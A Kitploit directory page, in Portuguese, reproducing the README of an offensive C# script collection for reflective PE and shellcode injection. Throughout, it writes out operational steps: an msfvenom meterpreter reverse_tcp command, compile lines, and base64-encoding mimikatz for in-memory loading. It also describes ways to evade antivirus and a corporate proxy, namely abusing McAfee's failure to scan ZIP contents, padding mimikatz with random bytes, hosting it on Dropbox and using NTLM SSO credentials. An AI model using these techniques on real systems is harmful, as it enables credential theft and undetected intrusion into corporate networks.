Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/arno0x/csharpscripts
Ferramentas de Criptografia/DescriptografiaEngenharia ReversaShellcodePós-ExploraçãoAnálise de MalwareTestes de PenetraçãoRed TeamingDesenvolvimento de PayloadsExploração de Binários
GitHubarno0x/csharpscripts

CSharpScripts

Scripts ofensivos em C# para injeção reflexiva de PE e shellcode, execução de payload em memória, descriptografia de shellcode por força bruta XOR e análise de assemblies .NET.

34411220há 9 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

C# Scripts

Autor: Arno0x0x - @Arno0x0x

Este repositório tem como objetivo publicar alguns dos meus scripts em C#. Alguns são apenas forks/inspirados em outros scripts que encontrei por aí, e que adaptei para atender às minhas necessidades ou apenas para aprender e melhorar.

Descriptografar via força bruta (bf), depois carregar e executar, um shellcode criptografado com xor

bfDecryptShellcode.cs

Este script é um PoC um pouco ingênuo e provavelmente não muito útil de descriptografia por força bruta de um shellcode criptografado com XOR multibyte. Uma vez descriptografado o shellcode, ele é carregado na memória e executado.

Para usá-lo, você precisa de duas coisas:

  1. Um shellcode criptografado com XOR multibyte
  2. O hash MD5 do payload descriptografado, que serve como marcador para saber que a chave de descriptografia correta foi encontrada

Você pode obter ambos usando meu projeto ShellcodeWrapper e alimentá-lo com qualquer payload raw do metasploit.

Carregar e analisar dinamicamente um assembly .Net

parseAssembly.cs

Esta aplicação de console carregará dinamicamente um assembly .Net (exe ou dll), seja de um arquivo local ou baixado de uma URL, opcionalmente codificado em base64. Uma vez carregado, ele enumerará seus tipos, métodos e propriedades. Exemplos: parseAssembly.exe myAssembly.dll ou parseAssembly.exe http://some.site.com/myAssembly base64

Brincando com injeção reflexiva de PE e Shellcode

Esta é uma coleção de scripts adaptados do trabalho de Casey Smith (@subTee) sobre injeção reflexiva de PE ou shellcode no processo chamador, a partir de várias fontes.

peloader.cs

Este script carrega um arquivo PE x64 codificado em base64 (por exemplo: Mimikatz ou um Meterpreter) na memória do processo e o executa reflexivamente. O PE é passado como uma variável de string base64 no início do arquivo (sim, está hardcoded).

Você pode gerar essa string codificada em base64 a partir de qualquer arquivo usando o seguinte comando de linha *nix:

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

Compilar o script em uma máquina Windows requer o .Net framework (instalado por padrão a partir do Windows 7):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

Este script executa um shellcode na memória do processo e o executa de forma reflexiva. O shellcode é passado como um array de bytes em uma variável. Você pode obter o código adequado para esse array gerado automaticamente para você com o utilitário msfvenom do Metasploit. Por exemplo, para gerar um shellcode reverse_tcp do meterpreter:

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

Compilar o script em uma máquina Windows requer o .Net framework (instalado por padrão a partir do Windows 7):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

Este script é fortemente e vergonhosamente baseado, inspirado e derivado do trabalho de Casey Smith (@subTee) sobre o Netkatz.

Descobri que o antivírus local (McAfee) na minha estação de trabalho corporativa está configurado para NÃO analisar o conteúdo de um arquivo ZIP, provavelmente partindo do pressuposto de que, sempre que esse conteúdo for lido ou executado, ele normalmente seria primeiro extraído em algum lugar do disco, e qualquer coisa maliciosa nele seria detetada pelo antivírus nesse momento.

O que este script faz é carregar tudo na memória e trabalhar apenas a partir daí, usando também reflexão para executar um PE a partir da memória do processo que o invoca.

Assim, não só o antivírus não reage de todo, como, de uma perspetiva forense, o único "processo visivelmente em execução" parece perfeitamente inocente.

Compilar o script numa máquina Windows requer o framework .Net (instalado por predefinição no Windows 7 em diante):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

Você pode então executar:

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

Este script é fortemente baseado e inspirado no trabalho de Casey Smith (@subTee) sobre o Netkatz.

O Netkatz é uma prova de conceito fantástica de carregar a versão mais recente do mimikatz a partir do GitHub e executá-la diretamente em memória. No entanto, deparei-me com três problemas no meu ambiente:

  1. A ligação à internet tem de ser feita através de um proxy corporativo que exige autenticação NTLM (Windows SSO está OK)
  2. A página do GitHub do Mimikatz está bloqueada pelo proxy corporativo devido à categorização de websites
  3. O ficheiro mimikatz_trunked.zip está a ser detetado pelo AV do proxy (sim, com inspeção SSL ativada ao nível do proxy)

Por isso, modifiquei o script netkatz original para resolver estes 3 problemas:

  1. Adicionei suporte para proxy de sistema e credenciais predefinidas (utilizador Windows atualmente com sessão iniciada)
  2. Alojar o PE num website não bloqueado, com aparência inocente como www.dropbox.com
  3. Quanto a tornar o PE indetetável pelo AV, poderíamos recorrer a vários métodos de ofuscação como encriptação, codificação específica, mas gosto da técnica simples de adicionar 65536 bytes de lixo aleatório no início do verdadeiro PE x64 do Mimikatz:
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • Carregar o mimiHidden para o dropbox e partilhá-lo

O URL a partir do qual o PE oculto é descarregado está codificado no script.

Compilar o script numa máquina Windows requer o .Net framework (instalado por predefinição no Windows 7 e posteriores):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
Baixar ferramenta